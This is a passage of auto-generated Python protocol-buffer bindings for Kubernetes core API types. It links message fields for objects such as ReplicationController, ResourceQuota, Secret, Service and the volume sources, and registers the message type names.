k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _REPLICATIONCONTROLLERLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _REPLICATIONCONTROLLERLIST.fields_by_name['items'].message_type = _REPLICATIONCONTROLLER _REPLICATIONCONTROLLERSPEC_SELECTORENTRY.containing_type = _REPLICATIONCONTROLLERSPEC _REPLICATIONCONTROLLERSPEC.fields_by_name['selector'].message_type = _REPLICATIONCONTROLLERSPEC_SELECTORENTRY _REPLICATIONCONTROLLERSPEC.fields_by_name['template'].message_type = _PODTEMPLATESPEC _REPLICATIONCONTROLLERSTATUS.fields_by_name['conditions'].message_type = _REPLICATIONCONTROLLERCONDITION _RESOURCEFIELDSELECTOR.fields_by_name['divisor'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _RESOURCEQUOTA.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _RESOURCEQUOTA.fields_by_name['spec'].message_type = _RESOURCEQUOTASPEC _RESOURCEQUOTA.fields_by_name['status'].message_type = _RESOURCEQUOTASTATUS _RESOURCEQUOTALIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _RESOURCEQUOTALIST.fields_by_name['items'].message_type = _RESOURCEQUOTA _RESOURCEQUOTASPEC_HARDENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _RESOURCEQUOTASPEC_HARDENTRY.containing_type = _RESOURCEQUOTASPEC _RESOURCEQUOTASPEC.fields_by_name['hard'].message_type = _RESOURCEQUOTASPEC_HARDENTRY _RESOURCEQUOTASPEC.fields_by_name['scopeSelector'].message_type = _SCOPESELECTOR _RESOURCEQUOTASTATUS_HARDENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _RESOURCEQUOTASTATUS_HARDENTRY.containing_type = _RESOURCEQUOTASTATUS _RESOURCEQUOTASTATUS_USEDENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _RESOURCEQUOTASTATUS_USEDENTRY.containing_type = _RESOURCEQUOTASTATUS _RESOURCEQUOTASTATUS.fields_by_name['hard'].message_type = _RESOURCEQUOTASTATUS_HARDENTRY _RESOURCEQUOTASTATUS.fields_by_name['used'].message_type = _RESOURCEQUOTASTATUS_USEDENTRY _RESOURCEREQUIREMENTS_LIMITSENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _RESOURCEREQUIREMENTS_LIMITSENTRY.containing_type = _RESOURCEREQUIREMENTS _RESOURCEREQUIREMENTS_REQUESTSENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _RESOURCEREQUIREMENTS_REQUESTSENTRY.containing_type = _RESOURCEREQUIREMENTS _RESOURCEREQUIREMENTS.fields_by_name['limits'].message_type = _RESOURCEREQUIREMENTS_LIMITSENTRY _RESOURCEREQUIREMENTS.fields_by_name['requests'].message_type = _RESOURCEREQUIREMENTS_REQUESTSENTRY _SCALEIOPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _SECRETREFERENCE _SCALEIOVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _SCOPESELECTOR.fields_by_name['matchExpressions'].message_type = _SCOPEDRESOURCESELECTORREQUIREMENT _SECRET_DATAENTRY.containing_type = _SECRET _SECRET_STRINGDATAENTRY.containing_type = _SECRET _SECRET.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _SECRET.fields_by_name['data'].message_type = _SECRET_DATAENTRY _SECRET.fields_by_name['stringData'].message_type = _SECRET_STRINGDATAENTRY _SECRETENVSOURCE.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _SECRETKEYSELECTOR.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _SECRETLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _SECRETLIST.fields_by_name['items'].message_type = _SECRET _SECRETPROJECTION.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _SECRETPROJECTION.fields_by_name['items'].message_type = _KEYTOPATH _SECRETVOLUMESOURCE.fields_by_name['items'].message_type = _KEYTOPATH _SECURITYCONTEXT.fields_by_name['capabilities'].message_type = _CAPABILITIES _SECURITYCONTEXT.fields_by_name['seLinuxOptions'].message_type = _SELINUXOPTIONS _SECURITYCONTEXT.fields_by_name['windowsOptions'].message_type = _WINDOWSSECURITYCONTEXTOPTIONS _SECURITYCONTEXT.fields_by_name['seccompProfile'].message_type = _SECCOMPPROFILE _SERIALIZEDREFERENCE.fields_by_name['reference'].message_type = _OBJECTREFERENCE _SERVICE.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _SERVICE.fields_by_name['spec'].message_type = _SERVICESPEC _SERVICE.fields_by_name['status'].message_type = _SERVICESTATUS _SERVICEACCOUNT.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _SERVICEACCOUNT.fields_by_name['secrets'].message_type = _OBJECTREFERENCE _SERVICEACCOUNT.fields_by_name['imagePullSecrets'].message_type = _LOCALOBJECTREFERENCE _SERVICEACCOUNTLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _SERVICEACCOUNTLIST.fields_by_name['items'].message_type = _SERVICEACCOUNT _SERVICELIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _SERVICELIST.fields_by_name['items'].message_type = _SERVICE _SERVICEPORT.fields_by_name['targetPort'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_util_dot_intstr_dot_generated__pb2._INTORSTRING _SERVICESPEC_SELECTORENTRY.containing_type = _SERVICESPEC _SERVICESPEC.fields_by_name['ports'].message_type = _SERVICEPORT _SERVICESPEC.fields_by_name['selector'].message_type = _SERVICESPEC_SELECTORENTRY _SERVICESPEC.fields_by_name['sessionAffinityConfig'].message_type = _SESSIONAFFINITYCONFIG _SERVICESTATUS.fields_by_name['loadBalancer'].message_type = _LOADBALANCERSTATUS _SERVICESTATUS.fields_by_name['conditions'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._CONDITION _SESSIONAFFINITYCONFIG.fields_by_name['clientIP'].message_type = _CLIENTIPCONFIG _STORAGEOSPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _OBJECTREFERENCE _STORAGEOSVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _TCPSOCKETACTION.fields_by_name['port'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_util_dot_intstr_dot_generated__pb2._INTORSTRING _TAINT.fields_by_name['timeAdded'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _TOPOLOGYSELECTORTERM.fields_by_name['matchLabelExpressions'].message_type = _TOPOLOGYSELECTORLABELREQUIREMENT _TOPOLOGYSPREADCONSTRAINT.fields_by_name['labelSelector'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LABELSELECTOR _VOLUME.fields_by_name['volumeSource'].message_type = _VOLUMESOURCE _VOLUMENODEAFFINITY.fields_by_name['required'].message_type = _NODESELECTOR _VOLUMEPROJECTION.fields_by_name['secret'].message_type = _SECRETPROJECTION _VOLUMEPROJECTION.fields_by_name['downwardAPI'].message_type = _DOWNWARDAPIPROJECTION _VOLUMEPROJECTION.fields_by_name['configMap'].message_type = _CONFIGMAPPROJECTION _VOLUMEPROJECTION.fields_by_name['serviceAccountToken'].message_type = _SERVICEACCOUNTTOKENPROJECTION _VOLUMESOURCE.fields_by_name['hostPath'].message_type = _HOSTPATHVOLUMESOURCE _VOLUMESOURCE.fields_by_name['emptyDir'].message_type = _EMPTYDIRVOLUMESOURCE _VOLUMESOURCE.fields_by_name['gcePersistentDisk'].message_type = _GCEPERSISTENTDISKVOLUMESOURCE _VOLUMESOURCE.fields_by_name['awsElasticBlockStore'].message_type = _AWSELASTICBLOCKSTOREVOLUMESOURCE _VOLUMESOURCE.fields_by_name['gitRepo'].message_type = _GITREPOVOLUMESOURCE _VOLUMESOURCE.fields_by_name['secret'].message_type = _SECRETVOLUMESOURCE _VOLUMESOURCE.fields_by_name['nfs'].message_type = _NFSVOLUMESOURCE _VOLUMESOURCE.fields_by_name['iscsi'].message_type = _ISCSIVOLUMESOURCE _VOLUMESOURCE.fields_by_name['glusterfs'].message_type = _GLUSTERFSVOLUMESOURCE _VOLUMESOURCE.fields_by_name['persistentVolumeClaim'].message_type = _PERSISTENTVOLUMECLAIMVOLUMESOURCE _VOLUMESOURCE.fields_by_name['rbd'].message_type = _RBDVOLUMESOURCE _VOLUMESOURCE.fields_by_name['flexVolume'].message_type = _FLEXVOLUMESOURCE _VOLUMESOURCE.fields_by_name['cinder'].message_type = _CINDERVOLUMESOURCE _VOLUMESOURCE.fields_by_name['cephfs'].message_type = _CEPHFSVOLUMESOURCE _VOLUMESOURCE.fields_by_name['flocker'].message_type = _FLOCKERVOLUMESOURCE _VOLUMESOURCE.fields_by_name['downwardAPI'].message_type = _DOWNWARDAPIVOLUMESOURCE _VOLUMESOURCE.fields_by_name['fc'].message_type = _FCVOLUMESOURCE _VOLUMESOURCE.fields_by_name['azureFile'].message_type = _AZUREFILEVOLUMESOURCE _VOLUMESOURCE.fields_by_name['configMap'].message_type = _CONFIGMAPVOLUMESOURCE _VOLUMESOURCE.fields_by_name['vsphereVolume'].message_type = _VSPHEREVIRTUALDISKVOLUMESOURCE _VOLUMESOURCE.fields_by_name['quobyte'].message_type = _QUOBYTEVOLUMESOURCE _VOLUMESOURCE.fields_by_name['azureDisk'].message_type = _AZUREDISKVOLUMESOURCE _VOLUMESOURCE.fields_by_name['photonPersistentDisk'].message_type = _PHOTONPERSISTENTDISKVOLUMESOURCE _VOLUMESOURCE.fields_by_name['projected'].message_type = _PROJECTEDVOLUMESOURCE _VOLUMESOURCE.fields_by_name['portworxVolume'].message_type = _PORTWORXVOLUMESOURCE _VOLUMESOURCE.fields_by_name['scaleIO'].message_type = _SCALEIOVOLUMESOURCE _VOLUMESOURCE.fields_by_name['storageos'].message_type = _STORAGEOSVOLUMESOURCE _VOLUMESOURCE.fields_by_name['csi'].message_type = _CSIVOLUMESOURCE _VOLUMESOURCE.fields_by_name['ephemeral'].message_type = _EPHEMERALVOLUMESOURCE _WEIGHTEDPODAFFINITYTERM.fields_by_name['podAffinityTerm'].message_type = _PODAFFINITYTERM DESCRIPTOR.message_types_by_name['AWSElasticBlockStoreVolumeSource'] = _AWSELASTICBLOCKSTOREVOLUMESOURCE DESCRIPTOR.message_types_by_name['Affinity'] = _AFFINITY DESCRIPTOR.message_types_by_name['AttachedVolume'] = _ATTACHEDVOLUME DESCRIPTOR.message_types_by_name['AvoidPods'] = _AVOIDPODS DESCRIPTOR.message_types_by_name['AzureDiskVolumeSource'] = _AZUREDISKVOLUMESOURCE DESCRIPTOR.message_types_by_name['AzureFilePersistentVolumeSource'] = _AZUREFILEPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['AzureFileVolumeSource'] = _AZUREFILEVOLUMESOURCE DESCRIPTOR.message_types_by_name['Binding'] = _BINDING DESCRIPTOR.message_types_by_name['CSIPersistentVolumeSource'] = _CSIPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['CSIVolumeSource'] = _CSIVOLUMESOURCE DESCRIPTOR.message_types_by_name['Capabilities'] = _CAPABILITIES DESCRIPTOR.message_types_by_name['CephFSPersistentVolumeSource'] = _CEPHFSPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['CephFSVolumeSource'] = _CEPHFSVOLUMESOURCE DESCRIPTOR.message_types_by_name['CinderPersistentVolumeSource'] = _CINDERPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['CinderVolumeSource'] = _CINDERVOLUMESOURCE DESCRIPTOR.message_types_by_name['ClientIPConfig'] = _CLIENTIPCONFIG DESCRIPTOR.message_types_by_name['ComponentCondition'] = _COMPONENTCONDITION DESCRIPTOR.message_types_by_name['ComponentStatus'] = _COMPONENTSTATUS DESCRIPTOR.message_types_by_name['ComponentStatusList'] = _COMPONENTSTATUSLIST DESCRIPTOR.message_types_by_name['ConfigMap'] = _CONFIGMAP DESCRIPTOR.message_types_by_name['ConfigMapEnvSource'] = _CONFIGMAPENVSOURCE DESCRIPTOR.message_types_by_name['ConfigMapKeySelector'] = _CONFIGMAPKEYSELECTOR DESCRIPTOR.message_types_by_name['ConfigMapList'] = _CONFIGMAPLIST DESCRIPTOR.message_types_by_name['ConfigMapNodeConfigSource'] = _CONFIGMAPNODECONFIGSOURCE DESCRIPTOR.message_types_by_name['ConfigMapProjection'] = _CONFIGMAPPROJECTION DESCRIPTOR.message_types_by_name['ConfigMapVolumeSource'] = _CONFIGMAPVOLUMESOURCE DESCRIPTOR.message_types_by_name['Container'] = _CONTAINER DESCRIPTOR.message_types_by_name['ContainerImage'] = _CONTAINERIMAGE DESCRIPTOR.message_types_by_name['ContainerPort'] = _CONTAINERPORT DESCRIPTOR.message_types_by_name['ContainerState'] = _CONTAINERSTATE DESCRIPTOR.message_types_by_name['ContainerStateRunning'] = _CONTAINERSTATERUNNING DESCRIPTOR.message_types_by_name['ContainerStateTerminated'] = _CONTAINERSTATETERMINATED DESCRIPTOR.message_types_by_name['ContainerStateWaiting'] = _CONTAINERSTATEWAITING DESCRIPTOR.message_types_by_name['ContainerStatus'] = _CONTAINERSTATUS DESCRIPTOR.message_types_by_name['DaemonEndpoint'] = _DAEMONENDPOINT DESCRIPTOR.message_types_by_name['DownwardAPIProjection'] = _DOWNWARDAPIPROJECTION DESCRIPTOR.message_types_by_name['DownwardAPIVolumeFile'] = _DOWNWARDAPIVOLUMEFILE DESCRIPTOR.message_types_by_name['DownwardAPIVolumeSource'] = _DOWNWARDAPIVOLUMESOURCE DESCRIPTOR.message_types_by_name['EmptyDirVolumeSource'] = _EMPTYDIRVOLUMESOURCE DESCRIPTOR.message_types_by_name['EndpointAddress'] = _ENDPOINTADDRESS DESCRIPTOR.message_types_by_name['EndpointPort'] = _ENDPOINTPORT DESCRIPTOR.message_types_by_name['EndpointSubset'] = _ENDPOINTSUBSET DESCRIPTOR.message_types_by_name['Endpoints'] = _ENDPOINTS DESCRIPTOR.message_types_by_name['EndpointsList'] = _ENDPOINTSLIST DESCRIPTOR.message_types_by_name['EnvFromSource'] = _ENVFROMSOURCE DESCRIPTOR.message_types_by_name['EnvVar'] = _ENVVAR DESCRIPTOR.message_types_by_name['EnvVarSource'] = _ENVVARSOURCE DESCRIPTOR.message_types_by_name['EphemeralContainer'] = _EPHEMERALCONTAINER DESCRIPTOR.message_types_by_name['EphemeralContainerCommon'] = _EPHEMERALCONTAINERCOMMON DESCRIPTOR.message_types_by_name['EphemeralVolumeSource'] = _EPHEMERALVOLUMESOURCE DESCRIPTOR.message_types_by_name['Event'] = _EVENT DESCRIPTOR.message_types_by_name['EventList'] = _EVENTLIST DESCRIPTOR.message_types_by_name['EventSeries'] = _EVENTSERIES DESCRIPTOR.message_types_by_name['EventSource'] = _EVENTSOURCE DESCRIPTOR.message_types_by_name['ExecAction'] = _EXECACTION DESCRIPTOR.message_types_by_name['FCVolumeSource'] = _FCVOLUMESOURCE DESCRIPTOR.message_types_by_name['FlexPersistentVolumeSource'] = _FLEXPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['FlexVolumeSource'] = _FLEXVOLUMESOURCE DESCRIPTOR.message_types_by_name['FlockerVolumeSource'] = _FLOCKERVOLUMESOURCE DESCRIPTOR.message_types_by_name['GCEPersistentDiskVolumeSource'] = _GCEPERSISTENTDISKVOLUMESOURCE DESCRIPTOR.message_types_by_name['GRPCAction'] = _GRPCACTION DESCRIPTOR.message_types_by_name['GitRepoVolumeSource'] = _GITREPOVOLUMESOURCE DESCRIPTOR.message_types_by_name['GlusterfsPersistentVolumeSource'] = _GLUSTERFSPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['GlusterfsVolumeSource'] = _GLUSTERFSVOLUMESOURCE DESCRIPTOR.message_types_by_name['HTTPGetAction'] = _HTTPGETACTION DESCRIPTOR.message_types_by_name['HTTPHeader'] = _HTTPHEADER DESCRIPTOR.message_types_by_name['HostAlias'] = _HOSTALIAS DESCRIPTOR.message_types_by_name['HostPathVolumeSource'] = _HOSTPATHVOLUMESOURCE DESCRIPTOR.message_types_by_name['ISCSIPersistentVolumeSource'] = _ISCSIPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['ISCSIVolumeSource'] = _ISCSIVOLUMESOURCE DESCRIPTOR.message_types_by_name['KeyToPath'] = _KEYTOPATH DESCRIPTOR.message_types_by_name['Lifecycle'] = _LIFECYCLE DESCRIPTOR.message_types_by_name['LifecycleHandler'] = _LIFECYCLEHANDLER DESCRIPTOR.message_types_by_name['LimitRange'] = _LIMITRANGE DESCRIPTOR.message_types_by_name['LimitRangeItem'] = _LIMITRANGEITEM DESCRIPTOR.message_types_by_name['LimitRangeList'] = _LIMITRANGELIST DESCRIPTOR.message_types_by_name['LimitRangeSpec'] = _LIMITRANGESPEC DESCRIPTOR.message_types_by_name['List'] = _LIST DESCRIPTOR.message_types_by_name['LoadBalancerIngress'] = _LOADBALANCERINGRESS DESCRIPTOR.message_types_by_name['LoadBalancerStatus'] = _LOADBALANCERSTATUS DESCRIPTOR.message_types_by_name['LocalObjectReference'] = _LOCALOBJECTREFERENCE DESCRIPTOR.message_types_by_name['LocalVolumeSource'] = _LOCALVOLUMESOURCE DESCRIPTOR.message_types_by_name['NFSVolumeSource'] = _NFSVOLUMESOURCE DESCRIPTOR.message_types_by_name['Namespace'] = _NAMESPACE DESCRIPTOR.message_types_by_name['NamespaceCondition'] = _NAMESPACECONDITION DESCRIPTOR.message_types_by_name['NamespaceList'] = _NAMESPACELIST DESCRIPTOR.message_types_by_name['NamespaceSpec'] = _NAMESPACESPEC DESCRIPTOR.message_types_by_name['NamespaceStatus'] = _NAMESPACESTATUS DESCRIPTOR.message_types_by_name['Node'] = _NODE DESCRIPTOR.message_types_by_name['NodeAddress'] = _NODEADDRESS DESCRIPTOR.message_types_by_name['NodeAffinity'] = _NODEAFFINITY DESCRIPTOR.message_types_by_name['NodeCondition'] = _NODECONDITION DESCRIPTOR.message_types_by_name['NodeConfigSource'] = _NODECONFIGSOURCE DESCRIPTOR.message_types_by_name['NodeConfigStatus'] = _NODECONFIGSTATUS DESCRIPTOR.message_types_by_name['NodeDaemonEndpoints'] = _NODEDAEMONENDPOINTS DESCRIPTOR.message_types_by_name['NodeList'] = _NODELIST DESCRIPTOR.message_types_by_name['NodeProxyOptions'] = _NODEPROXYOPTIONS DESCRIPTOR.message_types_by_name['NodeResources'] = _NODERESOURCES DESCRIPTOR.message_types_by_name['NodeSelector'] = _NODESELECTOR DESCRIPTOR.message_types_by_name['NodeSelectorRequirement'] = _NODESELECTORREQUIREMENT DESCRIPTOR.message_types_by_name['NodeSelectorTerm'] = _NODESELECTORTERM DESCRIPTOR.message_types_by_name['NodeSpec'] = _NODESPEC DESCRIPTOR.message_types_by_name['NodeStatus'] = _NODESTATUS DESCRIPTOR.message_types_by_name['NodeSystemInfo'] = _NODESYSTEMINFO DESCRIPTOR.message_types_by_name['ObjectFieldSelector'] = _OBJECTFIELDSELECTOR DESCRIPTOR.message_types_by_name['ObjectReference'] = _OBJECTREFERENCE DESCRIPTOR.message_types_by_name['PersistentVolume'] = _PERSISTENTVOLUME DESCRIPTOR.message_types_by_name['PersistentVolumeClaim'] = _PERSISTENTVOLUMECLAIM DESCRIPTOR.message_types_by_name['PersistentVolumeClaimCondition'] = _PERSISTENTVOLUMECLAIMCONDITION DESCRIPTOR.message_types_by_name['PersistentVolumeClaimList'] = _PERSISTENTVOLUMECLAIMLIST DESCRIPTOR.message_types_by_name['PersistentVolumeClaimSpec'] = _PERSISTENTVOLUMECLAIMSPEC DESCRIPTOR.message_types_by_name['PersistentVolumeClaimStatus'] = _PERSISTENTVOLUMECLAIMSTATUS DESCRIPTOR.message_types_by_name['PersistentVolumeClaimTemplate'] = _PERSISTENTVOLUMECLAIMTEMPLATE DESCRIPTOR.message_types_by_name['PersistentVolumeClaimVolumeSource'] = _PERSISTENTVOLUMECLAIMVOLUMESOURCE DESCRIPTOR.message_types_by_name['PersistentVolumeList'] = _PERSISTENTVOLUMELIST DESCRIPTOR.message_types_by_name['PersistentVolumeSource'] = _PERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['PersistentVolumeSpec'] = _PERSISTENTVOLUMESPEC DESCRIPTOR.message_types_by_name['PersistentVolumeStatus'] = _PERSISTENTVOLUMESTATUS DESCRIPTOR.message_types_by_name['PhotonPersistentDiskVolumeSource'] = _PHOTONPERSISTENTDISKVOLUMESOURCE DESCRIPTOR.message_types_by_name['Pod'] = _POD DESCRIPTOR.message_types_by_name['PodAffinity'] = _PODAFFINITY DESCRIPTOR.message_types_by_name['PodAffinityTerm'] = _PODAFFINITYTERM DESCRIPTOR.message_types_by_name['PodAntiAffinity'] = _PODANTIAFFINITY DESCRIPTOR.message_types_by_name['PodAttachOptions'] = _PODATTACHOPTIONS DESCRIPTOR.message_types_by_name['PodCondition'] = _PODCONDITION DESCRIPTOR.message_types_by_name['PodDNSConfig'] = _PODDNSCONFIG DESCRIPTOR.message_types_by_name['PodDNSConfigOption'] = _PODDNSCONFIGOPTION DESCRIPTOR.message_types_by_name['PodExecOptions'] = _PODEXECOPTIONS DESCRIPTOR.message_types_by_name['PodIP'] = _PODIP DESCRIPTOR.message_types_by_name['PodList'] = _PODLIST DESCRIPTOR.message_types_by_name['PodLogOptions'] = _PODLOGOPTIONS DESCRIPTOR.message_types_by_name['PodOS'] = _PODOS DESCRIPTOR.message_types_by_name['PodPortForwardOptions'] = _PODPORTFORWARDOPTIONS DESCRIPTOR.message_types_by_name['PodProxyOptions'] = _PODPROXYOPTIONS DESCRIPTOR.message_types_by_name['PodReadinessGate'] = _PODREADINESSGATE DESCRIPTOR.message_types_by_name['PodSecurityContext'] = _PODSECURITYCONTEXT DESCRIPTOR.message_types_by_name['PodSignature'] = _PODSIGNATURE DESCRIPTOR.message_types_by_name['PodSpec'] = _PODSPEC DESCRIPTOR.message_types_by_name['PodStatus'] = _PODSTATUS DESCRIPTOR.message_types_by_name['PodStatusResult'] = _PODSTATUSRESULT DESCRIPTOR.message_types_by_name['PodTemplate'] = _PODTEMPLATE DESCRIPTOR.message_types_by_name['PodTemplateList'] = _PODTEMPLATELIST DESCRIPTOR.message_types_by_name['PodTemplateSpec'] = _PODTEMPLATESPEC DESCRIPTOR.message_types_by_name['PortStatus'] = _PORTSTATUS DESCRIPTOR.message_types_by_name['PortworxVolumeSource'] = _PORTWORXVOLUMESOURCE DESCRIPTOR.message_types_by_name['Preconditions'] = _PRECONDITIONS DESCRIPTOR.message_types_by_name['PreferAvoidPodsEntry'] = _PREFERAVOIDPODSENTRY DESCRIPTOR.message_types_by_name['PreferredSchedulingTerm'] = _PREFERREDSCHEDULINGTERM DESCRIPTOR.message_types_by_name['Probe'] = _PROBE DESCRIPTOR.message_types_by_name['ProbeHandler'] = _PROBEHANDLER DESCRIPTOR.message_types_by_name['ProjectedVolumeSource'] = _PROJECTEDVOLUMESOURCE DESCRIPTOR.message_types_by_name['QuobyteVolumeSource'] = _QUOBYTEVOLUMESOURCE DESCRIPTOR.message_types_by_name['RBDPersistentVolumeSource'] = _RBDPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['RBDVolumeSource'] = _RBDVOLUMESOURCE DESCRIPTOR.message_types_by_name['RangeAllocation'] = _RANGEALLOCATION DESCRIPTOR.message_types_by_name['ReplicationController'] = _REPLICATIONCONTROLLER DESCRIPTOR.message_types_by_name['ReplicationControllerCondition'] = _REPLICATIONCONTROLLERCONDITION DESCRIPTOR.message_types_by_name['ReplicationControllerList'] = _REPLICATIONCONTROLLERLIST DESCRIPTOR.message_types_by_name['ReplicationControllerSpec'] = _REPLICATIONCONTROLLERSPEC DESCRIPTOR.message_types_by_name['ReplicationControllerStatus'] = _REPLICATIONCONTROLLERSTATUS DESCRIPTOR.message_types_by_name['ResourceFieldSelector'] = _RESOURCEFIELDSELECTOR DESCRIPTOR.message_types_by_name['ResourceQuota'] = _RESOURCEQUOTA DESCRIPTOR.message_types_by_name['ResourceQuotaList'] = _RESOURCEQUOTALIST DESCRIPTOR.message_types_by_name['ResourceQuotaSpec'] = _RESOURCEQUOTASPEC DESCRIPTOR.message_types_by_name['ResourceQuotaStatus'] = _RESOURCEQUOTASTATUS DESCRIPTOR.message_types_by_name['ResourceRequirements'] = _RESOURCEREQUIREMENTS DESCRIPTOR.message_types_by_name['SELinuxOptions'] = _SELINUXOPTIONS DESCRIPTOR.message_types_by_name['ScaleIOPersistentVolumeSource'] = _SCALEIOPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['ScaleIOVolumeSource'] = _SCALEIOVOLUMESOURCE DESCRIPTOR.message_types_by_name['ScopeSelector'] = _SCOPESELECTOR DESCRIPTOR.message_types_by_name['ScopedResourceSelectorRequirement'] = _SCOPEDRESOURCESELECTORREQUIREMENT DESCRIPTOR.message_types_by_name['SeccompProfile'] = _SECCOMPPROFILE DESCRIPTOR.message_types_by_name['Secret'] = _SECRET DESCRIPTOR.message_types_by_name['SecretEnvSource'] = _SECRETENVSOURCE DESCRIPTOR.message_types_by_name['SecretKeySelector'] = _SECRETKEYSELECTOR DESCRIPTOR.message_types_by_name['SecretList'] = _SECRETLIST DESCRIPTOR.message_types_by_name['SecretProjection'] = _SECRETPROJECTION DESCRIPTOR.message_types_by_name['SecretReference'] = _SECRETREFERENCE DESCRIPTOR.message_types_by_name['SecretVolumeSource'] = _SECRETVOLUMESOURCE DESCRIPTOR.message_types_by_name['SecurityContext'] = _SECURITYCONTEXT DESCRIPTOR.message_types_by_name['SerializedReference'] = _SERIALIZEDREFERENCE DESCRIPTOR.message_types_by_name['Service'] = _SERVICE DESCRIPTOR.message_types_by_name['ServiceAccount'] = _SERVICEACCOUNT DESCRIPTOR.message_types_by_name['ServiceAccountList'] = _SERVICEACCOUNTLIST DESCRIPTOR.message_types_by_name['ServiceAccountTokenProjection'] = _SERVICEACCOUNTTOKENPROJECTION DESCRIPTOR.message_types_by_name['ServiceList'] = _SERVICELIST DESCRIPTOR.message_types_by_name['ServicePort'] = _SERVICEPORT DESCRIPTOR.message_types_by_name['ServiceProxyOptions'] = _SERVICEPROXYOPTIONS DESCRIPTOR.message_types_by_name['ServiceSpec'] = _SERVICESPEC DESCRIPTOR.message_types_by_name['ServiceStatus'] = _SERVICESTATUS DESCRIPTOR.message_types_by_name['SessionAffinityConfig'] = _SESSIONAFFINITYCONFIG DESCRIPTOR.message_types_by_name['StorageOSPersistentVolumeSource'] = _STORAGEOSPERSISTENTVOLUMESOURCE DESCRIPTOR.message_types_by_name['StorageOSVolumeSource'] = _STORAGEOSVOLUMESOURCE DESCRIPTOR.message_types_by_name['Sysctl'] = _SYSCTL DESCRIPTOR.message_types_by_name['TCPSocketAction'] = _TCPSOCKETACTION DESCRIPTOR.message_types_by_name['Taint'] = _TAINT DESCRIPTOR.message_types_by_name['Toleration'] = _TOLERATION DESCRIPTOR.message_types_by_name['TopologySelectorLabelRequirement'] = _TOPOLOGYSELECTORLABELREQUIREMENT DESCRIPTOR.message_types_by_name['TopologySelectorTerm'] = _TOPOLOGYSELECTORTERM DESCRIPTOR.message_types_by_name['TopologySpreadConstraint'] = _TOPOLOGYSPREADCONSTRAINT DESCRIPTOR.message_types_by_name['TypedLocalObjectReference'] = _TYPEDLOCALOBJECTREFERENCE DESCRIPTOR.message_types_by_name['Volume'] = _VOLUME DESCRIPTOR.message_types_by_name['VolumeDevice'] = _VOLUMEDEVICE DESCRIPTOR.message_types_by_name['VolumeMount'] = _VOLUMEMOUNT DESCRIPTOR.message_types_by_name['VolumeNodeAffinity'] = _VOLUMENODEAFFINITY DESCRIPTOR.message_types_by_name['VolumeProjection'] = _VOLUMEPROJECTION DESCRIPTOR.message_types_by_name['VolumeSource'] = _VOLUMESOURCE DESCRIPTOR.message_types_by_name['VsphereVirtualDiskVolumeSource'] = _VSPHEREVIRTUALDISKVOLUMESOURCE DESCRIPTOR.message_types_by_name['WeightedPodAffinityTerm'] = _WEIGHTEDPODAFFINITYTERM DESCRIPTOR.message_types_by_name['WindowsSecurityContextOptions'] = 